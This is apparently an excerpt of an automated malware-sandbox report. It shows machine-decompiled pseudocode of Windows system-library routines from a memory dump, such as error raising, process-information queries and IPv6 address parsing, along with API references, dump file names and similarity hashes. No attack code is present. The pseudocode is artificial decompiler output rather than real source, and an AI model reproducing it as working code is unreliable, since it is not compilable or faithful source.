				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x6d320d50);
				E6D29D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E6D2D5720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = E6D29DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				E6D29DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E6D29D130(_t34, _t39, _t40);
			}

0x6d2f8df1
0x6d2f8df1
0x6d2f8df1
0x6d2f8df1
0x6d2f8df1
0x6d2f8df1
0x6d2f8df3
0x6d2f8df8
0x6d2f8dfd
0x6d2f8e00
0x6d2f8e0e
0x6d2f8e2a
0x6d2f8e36
0x6d2f8e38
0x6d2f8e3c
0x6d2f8e46
0x6d2f8e46
0x6d2f8e36
0x6d2f8e50
0x6d2f8e56
0x6d2f8e59
0x6d2f8e5c
0x6d2f8e60
0x6d2f8e67
0x6d2f8e6d
0x6d2f8e73
0x6d2f8e74
0x6d2f8eb1
0x6d2f8ebd

APIs

DbgPrintEx.1105(00000065,00000000,Critical error detected %lx,?,6D320D50,00000074,6D3020A2,?,?,6D2FFFAF,00000001,00000020,6D3358C0,00000000), ref: 6D2F8E2A
RtlRaiseException.1105(?), ref: 6D2F8E74

Strings

Critical error detected %lx, xrefs: 6D2F8E21

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionPrintRaise
String ID: Critical error detected %lx
API String ID: 1813208005-802127002
Opcode ID: d995d2f4b4fd026ed7e8895e3b58046b3605e95278d820982844485fb7852e2d
Instruction ID: 4538063b725ca7010771825a4afa92ac95ad6e867963f79c823456a2e5f0e2fd
Opcode Fuzzy Hash: d995d2f4b4fd026ed7e8895e3b58046b3605e95278d820982844485fb7852e2d
Instruction Fuzzy Hash: 51115BB5C9934DDBDF19CFAA86057ACFBB0BB45315F20866DE568AB292C3340602DF14

Uniqueness

Uniqueness Score: -1.00%

Function 6D27E730, Relevance: 4.6, APIs: 3, Instructions: 89
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6D27E730(void* __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr* _a40) {
				intOrPtr* _v0;
				signed char _v4;
				signed int _v8;
				void* __ecx;
				void* __ebp;
				void* _t37;
				signed int _t44;
				signed char _t52;
				void* _t54;
				intOrPtr* _t56;
				void* _t58;
				char* _t59;
				signed int _t62;

				_t58 = __edx;
				_push(0);
				_push(4);
				_push( &_v8);
				_push(0x24);
				_push(0xffffffff);
				if(E6D289670() < 0) {
					L6D29DF30(_t54, _t58, _t35);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t54);
					_t52 = _v4;
					if(_t52 > 8) {
						_t37 = 0xc0000078;
					} else {
						_t62 = _t52 & 0x000000ff;
						_t59 = RtlAllocateHeap( *( *[fs:0x30] + 0x18),  *0x6d337b9c + 0x140000, 8 + _t62 * 4);
						if(_t59 == 0) {
							_t37 = 0xc0000017;
						} else {
							_t56 = _v0;
							 *(_t59 + 1) = _t52;
							 *_t59 = 1;
							 *((intOrPtr*)(_t59 + 2)) =  *_t56;
							 *((short*)(_t59 + 6)) =  *((intOrPtr*)(_t56 + 4));
							_t44 = _t62 - 1;
							if(_t44 <= 7) {
								switch( *((intOrPtr*)(_t44 * 4 +  &M6D27E810))) {
									case 0:
										L6:
										 *((intOrPtr*)(_t59 + 8)) = _a8;
										goto L7;
									case 1:
										L13:
										 *((intOrPtr*)(__edx + 0xc)) = _a12;
										goto L6;
									case 2:
										L12:
										 *((intOrPtr*)(__edx + 0x10)) = _a16;
										goto L13;
									case 3:
										L11:
										 *((intOrPtr*)(__edx + 0x14)) = _a20;
										goto L12;
									case 4:
										L10:
										 *((intOrPtr*)(__edx + 0x18)) = _a24;
										goto L11;
									case 5:
										L9:
										 *((intOrPtr*)(__edx + 0x1c)) = _a28;
										goto L10;
									case 6:
										L17:
										 *((intOrPtr*)(__edx + 0x20)) = _a32;
										goto L9;
									case 7:
										 *((intOrPtr*)(__edx + 0x24)) = _a36;
										goto L17;
								}
							}
							L7:
							 *_a40 = _t59;
							_t37 = 0;
						}
					}
					return _t37;
				} else {
					_push(0x20);
					asm("ror eax, cl");
					return _a4 ^ _v8;
				}
			}

0x6d27e730
0x6d27e736
0x6d27e738
0x6d27e73d
0x6d27e73e
0x6d27e740
0x6d27e749
0x6d27e765
0x6d27e76a
0x6d27e76b
0x6d27e76c
0x6d27e76d
0x6d27e76e
0x6d27e76f
0x6d27e775
0x6d27e777
0x6d27e77e
0x6d2bb675
0x6d27e784
0x6d27e789
0x6d27e7a8
0x6d27e7ac
0x6d27e807
0x6d27e7ae
0x6d27e7ae
0x6d27e7b1
0x6d27e7b4
0x6d27e7b9
0x6d27e7c0
0x6d27e7c4
0x6d27e7ca
0x6d27e7cc
0x00000000
0x6d27e7d3
0x6d27e7d6
0x00000000
0x00000000
0x6d27e7ff
0x6d27e802
0x00000000
0x00000000
0x6d27e7f9
0x6d27e7fc
0x00000000
0x00000000
0x6d27e7f3
0x6d27e7f6
0x00000000
0x00000000
0x6d27e7ed
0x6d27e7f0
0x00000000
0x00000000
0x6d27e7e7
0x6d27e7ea
0x00000000
0x00000000
0x6d2bb685
0x6d2bb688
0x00000000
0x00000000
0x6d2bb682
0x00000000
0x00000000
0x6d27e7cc
0x6d27e7d9
0x6d27e7dc
0x6d27e7de
0x6d27e7de
0x6d27e7ac
0x6d27e7e4
0x6d27e74b
0x6d27e751
0x6d27e759
0x6d27e761
0x6d27e761

APIs

ZwQueryInformationProcess.1105(000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6D2DFF7D,6D3209B0,00000014,6D25EBD8,?,?,?,00000000), ref: 6D27E742
RtlRaiseStatus.1105(00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6D2DFF7D,6D3209B0,00000014,6D25EBD8,?,?,?,00000000), ref: 6D27E765
RtlAllocateHeap.1105(?,?,?,?,FFFFFFFE,?,?,00000000,000000FF,00000024,FFFFFFFE,00000004,00000000,?,?,6D2DFF7D), ref: 6D27E7A3

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeapInformationProcessQueryRaiseStatus
String ID:
API String ID: 1560743067-0
Opcode ID: bb9de5d7ef56820eac23590d0334cfbfbd32ef59e5fcd23c768f47e89d19f5ce
Instruction ID: e65471072f003b30ae882a5124c3766bc96cc3527661c79c831255b1b5639c51
Opcode Fuzzy Hash: bb9de5d7ef56820eac23590d0334cfbfbd32ef59e5fcd23c768f47e89d19f5ce
Instruction Fuzzy Hash: F0318C75A9424AAFD714CF59C841F9AB7E4FB09314F148266F914CB341D631ED80CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D246CA0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 243
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E6D246CA0(intOrPtr* _a4, intOrPtr _a8, intOrPtr* _a12, short* _a16) {
				char _v5;
				char _v6;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr* _t51;
				void* _t52;
				signed int _t54;
				signed short _t58;
				signed short _t59;
				void* _t60;
				signed short _t61;
				signed short _t62;
				signed short _t63;
				signed short _t69;
				signed short _t73;
				signed short _t74;
				signed short _t75;
				signed int _t82;
				intOrPtr _t83;
				signed short _t84;
				signed short _t86;
				signed short _t87;
				signed int _t88;
				void* _t92;
				signed int _t97;
				short _t98;
				signed short _t99;
				signed short _t101;
				signed short _t102;
				char _t103;
				void* _t107;
				void* _t108;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;
				signed int _t118;
				intOrPtr* _t122;
				void* _t123;
				void* _t125;
				signed int _t127;
				signed int _t129;
				signed int _t130;
				signed short _t134;
				signed int _t136;
				intOrPtr* _t139;
				void* _t146;

				_t51 = _a4;
				if(_t51 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L6:
					_t52 = 0xc000000d;
				} else {
					_t103 =  *_t51;
					_t97 = 0;
					_v12 = 0;
					_v20 = 0;
					_v5 = _t103;
					_t146 = _t103 - 0x5b;
					if(_t146 == 0) {
						_t51 = _t51 + 1;
						__eflags = _t103 - 0x5b;
					}
					_v6 = _t146 == 0;
					if(E6D246D10(_t51,  &_v16, _a8) >= 0) {
						_t139 = _v16;
						_t54 = 0xa;
						__eflags =  *_t139 - 0x25;
						if( *_t139 != 0x25) {
							L22:
							__eflags =  *_t139 - 0x5d;
							if( *_t139 != 0x5d) {
								L51:
								_t98 = _v12;
								goto L52;
							} else {
								__eflags = _v5 - 0x5b;
								if(_v5 != 0x5b) {
									goto L6;
								} else {
									_t139 = _t139 + 1;
									_v6 = _t97;
									__eflags =  *_t139 - 0x3a;
									if( *_t139 != 0x3a) {
										goto L51;
									} else {
										_t139 = _t139 + 1;
										_v16 = _t54;
										_t129 = 0x10;
										__eflags =  *_t139 - 0x30;
										if( *_t139 == 0x30) {
											_t28 = _t139 + 1; // 0x4
											_t122 = _t28;
											_v16 = 8;
											_t139 = _t122;
											_t83 =  *_t139;
											__eflags = _t83 - 0x78;
											if(_t83 == 0x78) {
												L28:
												_v16 = _t129;
												_t31 = _t122 + 1; // 0x4
												_t139 = _t31;
											} else {
												__eflags = _t83 - 0x58;
												if(_t83 == 0x58) {
													goto L28;
												}
											}
										}
										_t58 =  *_t139;
										_v5 = _t58;
										__eflags = _t58;
										if(_t58 == 0) {
											goto L51;
										} else {
											_t99 = _v12;
											do {
												_t134 = _t58;
												_t59 = E6D28CB30(_t58, _t134);
												_pop(_t107);
												__eflags = _t59;
												if(_t59 == 0) {
													L36:
													_t60 = 0x10;
													__eflags = _v16 - _t60;
													if(_v16 != _t60) {
														goto L6;
													} else {
														_t61 = E6D28CB30(_t60, _t134);
														_pop(_t108);
														__eflags = _t61;
														if(_t61 == 0) {
															goto L6;
														} else {
															_t62 = E6D28CDD0(_t108, _t134);
															__eflags = _t62;
															if(_t62 == 0) {
																goto L6;
															} else {
																_t63 = E6D28CB30(_t62, _t134);
																_pop(_t110);
																__eflags = _t63;
																if(_t63 == 0) {
																	L42:
																	_push(0x41);
																} else {
																	_t74 = E6D28CCE0(_t110, _t134);
																	__eflags = _t74;
																	if(_t74 == 0) {
																		goto L42;
																	} else {
																		_push(0x61);
																	}
																}
																_pop(_t111);
																_t68 = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134;
																__eflags = ((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 - 0xffff;
																if(((_t99 & 0x0000ffff) << 4) - _t111 + 0xa + _t134 > 0xffff) {
																	goto L6;
																} else {
																	_v12 = _v12 << 4;
																	_t69 = E6D28CB30(_t68, _t134);
																	_pop(_t112);
																	__eflags = _t69;
																	if(_t69 == 0) {
																		L47:
																		_push(0x41);
																	} else {
																		_t73 = E6D28CCE0(_t112, _t134);
																		__eflags = _t73;
																		if(_t73 == 0) {
																			goto L47;
																		} else {
																			_push(0x61);
																		}
																	}
																	_pop(_t113);
																	asm("cbw");
																	_t114 = 0xa;
																	_t99 = _v12 + _v5 - _t113 + _t114;
																	__eflags = _t99;
																	_v12 = _t99;
																	goto L49;
																}
															}
														}
													}
												} else {
													_t75 = E6D28CC80(_t107, _t134);
													__eflags = _t75;
													if(_t75 == 0) {
														goto L36;
													} else {
														_t118 = _v16;
														_t130 = _t118 & 0x0000ffff;
														__eflags = _t134 - 0x30 - _t130;
														if(_t134 - 0x30 >= _t130) {
															goto L36;
														} else {
															__eflags = (_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 - 0xffff;
															if((_t99 & 0x0000ffff) * _t130 + 0xffffffd0 + _t134 > 0xffff) {
																goto L6;
															} else {
																asm("cbw");
																_t82 = _t118 * _v12 - 0x00000030 + _v5 & 0x0000ffff;
																_v12 = _t82;
																_t99 = _t82;
																goto L49;
															}
														}
													}
												}
												goto L7;
												L49:
												_t139 = _t139 + 1;
												_t58 =  *_t139;
												_v5 = _t58;
												__eflags = _t58;
											} while (_t58 != 0);
											L52:
											__eflags =  *_t139;
											if( *_t139 != 0) {
												goto L6;
											} else {
												__eflags = _v6;
												if(_v6 != 0) {
													goto L6;
												} else {
													 *_a16 = _t98;
													 *_a12 = _v20;
													_t52 = 0;
												}
											}
										}
									}
								}
							}
						} else {
							_t139 = _t139 + 1;
							_t101 =  *_t139;
							_t135 = _t101;
							_t84 = E6D28CB30(_t54, _t101);
							_pop(_t123);
							__eflags = _t84;
							if(_t84 == 0) {
								goto L6;
							} else {
								_t85 = E6D28CC80(_t123, _t135);
								__eflags = _t85;
								if(_t85 == 0) {
									goto L6;
								} else {
									__eflags = _t101;
									if(_t101 == 0) {
										L21:
										_t97 = _v12;
										_t54 = 0xa;
										goto L22;
									} else {
										_t136 = _v12;
										while(1) {
											__eflags = _t101 - 0x5d;
											if(_t101 == 0x5d) {
												goto L21;
											}
											_t102 = _t101;
											_t86 = E6D28CB30(_t85, _t102);
											_pop(_t125);
											__eflags = _t86;
											if(_t86 == 0) {
												goto L6;
											} else {
												_t87 = E6D28CC80(_t125, _t102);
												__eflags = _t87;
												if(_t87 == 0) {
													goto L6;
												} else {
													_t88 = _v20;
													_t127 = 0xa;
													_v16 = _t88 * _t127;
													asm("cdq");
													_v16 = _v16 + _t102;
													asm("adc ecx, edx");
													_t92 = _v16 + 0xffffffd0;
													asm("adc ecx, 0xffffffff");
													__eflags = _t88 * _t127 >> 0x20 - _t136;
													if(__eflags > 0) {
														goto L6;
													} else {
														if(__eflags < 0) {
															L20:
															_t85 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t139 = _t139 + 1;
															_v20 = 0xffffffd0 + _v20 * 0xa + _t102;
															_t101 =  *_t139;
															__eflags = _t101;
															if(_t101 != 0) {
																continue;
															} else {
																goto L21;
															}
														} else {
															__eflags = _t92 - 0xffffffff;
															if(_t92 > 0xffffffff) {
																goto L6;
															} else {
																goto L20;
															}
														}
													}
												}
											}
											goto L7;
										}
										goto L21;
									}
								}
							}
						}
					} else {
						goto L6;
					}
				}
				L7:
				return _t52;
			}

0x6d246ca5
0x6d246cb0
0x6d246cef
0x6d246cef
0x6d246cc4
0x6d246cc4
0x6d246cc6
0x6d246cc8
0x6d246ccb
0x6d246cce
0x6d246cd1
0x6d246cd4
0x6d246cfd
0x6d246cfe
0x6d246cfe
0x6d246cdc
0x6d246ce9
0x6d2a1c19
0x6d2a1c1e
0x6d2a1c1f
0x6d2a1c22
0x6d2a1cc3
0x6d2a1cc3
0x6d2a1cc6
0x6d2a1e20
0x6d2a1e20
0x00000000
0x6d2a1ccc
0x6d2a1ccc
0x6d2a1cd0
0x00000000
0x6d2a1cd6
0x6d2a1cd6
0x6d2a1cd7
0x6d2a1cda
0x6d2a1cdd
0x00000000
0x6d2a1ce3
0x6d2a1ce3
0x6d2a1ce4
0x6d2a1ce9
0x6d2a1cea
0x6d2a1ced
0x6d2a1cef
0x6d2a1cef
0x6d2a1cf2
0x6d2a1cf9
0x6d2a1cfb
0x6d2a1cfd
0x6d2a1cff
0x6d2a1d05
0x6d2a1d05
0x6d2a1d08
0x6d2a1d08
0x6d2a1d01
0x6d2a1d01
0x6d2a1d03
0x00000000
0x00000000
0x6d2a1d03
0x6d2a1cff
0x6d2a1d0b
0x6d2a1d0d
0x6d2a1d10
0x6d2a1d12
0x00000000
0x6d2a1d18
0x6d2a1d18
0x6d2a1d1c
0x6d2a1d1c
0x6d2a1d20
0x6d2a1d25
0x6d2a1d26
0x6d2a1d28
0x6d2a1d76
0x6d2a1d78
0x6d2a1d79
0x6d2a1d7d
0x00000000
0x6d2a1d83
0x6d2a1d84
0x6d2a1d89
0x6d2a1d8a
0x6d2a1d8c
0x00000000
0x6d2a1d92
0x6d2a1d93
0x6d2a1d99
0x6d2a1d9b
0x00000000
0x6d2a1da1
0x6d2a1da2
0x6d2a1da7
0x6d2a1da8
0x6d2a1daa
0x6d2a1dbb
0x6d2a1dbb
0x6d2a1dac
0x6d2a1dad
0x6d2a1db3
0x6d2a1db5
0x00000000
0x6d2a1db7
0x6d2a1db7
0x6d2a1db7
0x6d2a1db5
0x6d2a1dc3
0x6d2a1dc9
0x6d2a1dcb
0x6d2a1dd0
0x00000000
0x6d2a1dd6
0x6d2a1dd6
0x6d2a1ddb
0x6d2a1de0
0x6d2a1de1
0x6d2a1de3
0x6d2a1df4
0x6d2a1df4
0x6d2a1de5
0x6d2a1de6
0x6d2a1dec
0x6d2a1dee
0x00000000
0x6d2a1df0
0x6d2a1df0
0x6d2a1df0
0x6d2a1dee
0x6d2a1dfd
0x6d2a1dfe
0x6d2a1e05
0x6d2a1e09
0x6d2a1e09
0x6d2a1e0c
0x00000000
0x6d2a1e0c
0x6d2a1dd0
0x6d2a1d9b
0x6d2a1d8c
0x6d2a1d2a
0x6d2a1d2b
0x6d2a1d31
0x6d2a1d33
0x00000000
0x6d2a1d35
0x6d2a1d35
0x6d2a1d3b
0x6d2a1d3e
0x6d2a1d40
0x00000000
0x6d2a1d42
0x6d2a1d4d
0x6d2a1d52
0x00000000
0x6d2a1d58
0x6d2a1d5f
0x6d2a1d68
0x6d2a1d6b
0x6d2a1d6e
0x00000000
0x6d2a1d6e
0x6d2a1d52
0x6d2a1d40
0x6d2a1d33
0x00000000
0x6d2a1e10
0x6d2a1e10
0x6d2a1e11
0x6d2a1e13
0x6d2a1e16
0x6d2a1e16
0x6d2a1e24
0x6d2a1e24
0x6d2a1e27
0x00000000
0x6d2a1e2d
0x6d2a1e2d
0x6d2a1e31
0x00000000
0x6d2a1e37
0x6d2a1e3e
0x6d2a1e47
0x6d2a1e49
0x6d2a1e49
0x6d2a1e31
0x6d2a1e27
0x6d2a1d12
0x6d2a1cdd
0x6d2a1cd0
0x6d2a1c28
0x6d2a1c28
0x6d2a1c29
0x6d2a1c2b
0x6d2a1c2f
0x6d2a1c34
0x6d2a1c35
0x6d2a1c37
0x00000000
0x6d2a1c3d
0x6d2a1c3e
0x6d2a1c44
0x6d2a1c46
0x00000000
0x6d2a1c4c
0x6d2a1c4c
0x6d2a1c4e
0x6d2a1cbd
0x6d2a1cbd
0x6d2a1cc2
0x00000000
0x6d2a1c50
0x6d2a1c50
0x6d2a1c53
0x6d2a1c53
0x6d2a1c56
0x00000000
0x00000000
0x6d2a1c58
0x6d2a1c5c
0x6d2a1c61
0x6d2a1c62
0x6d2a1c64
0x00000000
0x6d2a1c6a
0x6d2a1c6b
0x6d2a1c71
0x6d2a1c73
0x00000000
0x6d2a1c79
0x6d2a1c79
0x6d2a1c7e
0x6d2a1c81
0x6d2a1c88
0x6d2a1c89
0x6d2a1c8f
0x6d2a1c91
0x6d2a1c94
0x6d2a1c97
0x6d2a1c99
0x00000000
0x6d2a1c9f
0x6d2a1c9f
0x6d2a1caa
0x6d2a1cb1
0x6d2a1cb3
0x6d2a1cb4
0x6d2a1cb7
0x6d2a1cb9
0x6d2a1cbb
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2a1ca1
0x6d2a1ca1
0x6d2a1ca4
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2a1ca4
0x6d2a1c9f
0x6d2a1c99
0x6d2a1c73
0x00000000
0x6d2a1c64
0x00000000
0x6d2a1c53
0x6d2a1c4e
0x6d2a1c46
0x6d2a1c37
0x00000000
0x00000000
0x00000000
0x6d246ce9
0x6d246cf4
0x6d246cfa

APIs

RtlIpv6StringToAddressA.1105(?,00000000,?,00000000), ref: 6D246CE2

Strings

[, xrefs: 6D2A1CCC

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressIpv6String
String ID: [
API String ID: 27538981-784033777
Opcode ID: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction ID: c863a1809318e3ad2f4b46a414879a34971ffe8ff8b432c468062f299641318c
Opcode Fuzzy Hash: 6fc8d88a6431a7faa658da00268c126386f55933642b9b9e14cb1f00605dfa96
Instruction Fuzzy Hash: A5712731D8864F5AEB0A9AB4D9A07FE77B4EF06336F18816AD9A0D72C1D734C185C760

Uniqueness

Uniqueness Score: -1.00%

Function 6D281CC7, Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6D281CC7(void* __ebx, intOrPtr* __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t91;
				intOrPtr _t95;
				short _t96;
				intOrPtr _t104;
				intOrPtr _t111;
				short _t119;
				signed int _t130;
				intOrPtr _t133;
				intOrPtr _t137;
				struct _EXCEPTION_RECORD _t143;
				intOrPtr* _t146;
				void* _t150;

				_t138 = __edx;
				_push(0x154);
				_push(0x6d320348);
				E6D29D0E8(__ebx, __edi, __esi);
				 *(_t150 - 0xf0) = __edx;
				_t146 = __ecx;
				 *((intOrPtr*)(_t150 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t150 - 0xf8)) =  *((intOrPtr*)(_t150 + 8));
				 *(_t150 - 0xe8) =  *(_t150 + 0xc);
				 *((intOrPtr*)(_t150 - 0xf4)) =  *((intOrPtr*)(_t150 + 0x10));
				 *((intOrPtr*)(_t150 - 0xe4)) = 0;
				 *(_t150 - 0xdc) = 0;
				 *((intOrPtr*)(_t150 - 0xd8)) = 0;
				 *(_t150 - 0xe0) = 0;
				 *((intOrPtr*)(_t150 - 0x140)) = 0x40;
				memset(_t150 - 0x13c, 0, 0x3c);
				 *((intOrPtr*)(_t150 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t150 - 0x160)) = 1;
				_t130 = 7;
				memset(_t150 - 0x15c, 0, _t130 << 2);
				_t143 =  *(_t150 - 0xe8);
				_t91 = E6D262430(1, _t146, 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
				_t147 = _t91;
				if(_t91 >= 0) {
					if( *0x6d338460 != 0 && ( *(_t150 - 0xe0) & 0x00000001) == 0) {
						_t95 = E6D262D50(7, 0, 2,  *((intOrPtr*)(_t150 - 0xfc)), _t150 - 0x140);
						_t147 = _t95;
						if(_t95 < 0) {
							goto L1;
						}
						if( *(_t150 - 0x13c) == 1) {
							if(( *(_t150 - 0x118) & 0x00000001) == 0) {
								if(( *(_t150 - 0x118) & 0x00000002) != 0) {
									 *(_t150 - 0x120) = 0xfffffffc;
								}
							} else {
								 *(_t150 - 0x120) =  *(_t150 - 0x120) & 0x00000000;
							}
							_t133 =  *((intOrPtr*)(_t150 - 0x114));
							_t96 =  *((intOrPtr*)(_t133 + 0x5c));
							 *((short*)(_t150 - 0xda)) = _t96;
							 *(_t150 - 0xdc) = _t96;
							 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t133 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
							 *(_t150 - 0xe8) = _t150 - 0xd0;
							 *((short*)(_t150 - 0xea)) = 0xaa;
							_t104 = E6D254720(_t138,  *(_t150 - 0xf0) & 0x0000ffff, _t150 - 0xec, 2, 0);
							_t147 = _t104;
							if(_t104 < 0 || RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
								goto L1;
							} else {
								 *0x6d33b1e0( *(_t150 - 0x120),  *(_t150 - 0xf0), _t150 - 0xe4);
								_t147 =  *((intOrPtr*)( *0x6d338460))();
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									goto L1;
								}
								_t111 =  *((intOrPtr*)(_t150 - 0xe4));
								if(_t111 == 0xffffffff) {
									L25:
									 *((intOrPtr*)(_t150 - 4)) = 1;
									_t143 =  *0x6d338468;
									if(_t143 != 0) {
										 *0x6d33b1e0(_t111);
										 *_t143();
									}
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									goto L1;
								}
								E6D25F540(_t150 - 0x164, _t111);
								 *((intOrPtr*)(_t150 - 4)) = 0;
								if( *((intOrPtr*)(_t143 + 4)) != 0) {
									RtlFreeUnicodeString(_t143);
								}
								_t144 =  *((intOrPtr*)(_t150 - 0xfc));
								_t147 = E6D262430(0,  *((intOrPtr*)(_t150 - 0xfc)), 0,  *((intOrPtr*)(_t150 - 0xf8)), _t143,  *((intOrPtr*)(_t150 - 0xf4)), _t150 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
								if(_t147 < 0) {
									L24:
									 *((intOrPtr*)(_t150 - 4)) = 0xfffffffe;
									_t111 = E6D2BD704();
									goto L25;
								} else {
									_t147 = E6D262D50(7, 0, 2, _t144, _t150 - 0x140);
									 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
									if(_t147 < 0) {
										goto L24;
									}
									if( *(_t150 - 0x13c) == 1) {
										_t137 =  *((intOrPtr*)(_t150 - 0x114));
										_t119 =  *((intOrPtr*)(_t137 + 0x5c));
										 *((short*)(_t150 - 0xda)) = _t119;
										 *(_t150 - 0xdc) = _t119;
										 *((intOrPtr*)(_t150 - 0xd8)) =  *((intOrPtr*)(_t137 + 0x60)) +  *((intOrPtr*)(_t150 - 0x110));
										if(RtlCompareUnicodeString(_t150 - 0xdc, _t150 - 0xec, 1) == 0) {
											goto L24;
										}
										_t147 = 0xc0150004;
										L23:
										 *((intOrPtr*)(_t150 - 0xd4)) = _t147;
										goto L24;
									}
									_t147 = 0xc0150005;
									goto L23;
								}
							}
						}
						_t147 = 0xc0150005;
					}
				}
				L1:
				return E6D29D130(1, _t143, _t147);
			}

0x6d281cc7
0x6d281cc7
0x6d281ccc
0x6d281cd1
0x6d281cd6
0x6d281cdc
0x6d281cde
0x6d281ce7
0x6d281cf0
0x6d281cf9
0x6d281d01
0x6d281d09
0x6d281d0f
0x6d281d15
0x6d281d1b
0x6d281d2f
0x6d281d37
0x6d281d44
0x6d281d4c
0x6d281d55
0x6d281d68
0x6d281d78
0x6d281d7d
0x6d281d81
0x6d2bd4e3
0x6d2bd509
0x6d2bd50e
0x6d2bd512
0x00000000
0x00000000
0x6d2bd51e
0x6d2bd531
0x6d2bd543
0x6d2bd545
0x6d2bd545
0x6d2bd533
0x6d2bd533
0x6d2bd533
0x6d2bd54f
0x6d2bd555
0x6d2bd559
0x6d2bd560
0x6d2bd570
0x6d2bd57c
0x6d2bd587
0x6d2bd5a3
0x6d2bd5a8
0x6d2bd5ac
0x00000000
0x6d2bd5ce
0x6d2bd5e9
0x6d2bd5f1
0x6d2bd5f3
0x6d2bd5fb
0x00000000
0x00000000
0x6d2bd601
0x6d2bd60a
0x6d2bd6e1
0x6d2bd6e1
0x6d2bd6e4
0x6d2bd6ec
0x6d2bd6f1
0x6d2bd6f7
0x6d2bd6f7
0x6d2bd730
0x00000000
0x6d2bd730
0x6d2bd618
0x6d2bd61f
0x6d2bd625
0x6d2bd628
0x6d2bd628
0x6d2bd644
0x6d2bd651
0x6d2bd653
0x6d2bd65b
0x6d2bd6d5
0x6d2bd6d5
0x6d2bd6dc
0x00000000
0x6d2bd65d
0x6d2bd670
0x6d2bd672
0x6d2bd67a
0x00000000
0x00000000
0x6d2bd682
0x6d2bd68b
0x6d2bd691
0x6d2bd695
0x6d2bd69c
0x6d2bd6ac
0x6d2bd6c8
0x00000000
0x00000000
0x6d2bd6ca
0x6d2bd6cf
0x6d2bd6cf
0x00000000
0x6d2bd6cf
0x6d2bd684
0x00000000
0x6d2bd684
0x6d2bd65b
0x6d2bd5ac
0x6d2bd520
0x6d2bd520
0x6d2bd4e3
0x6d281d87
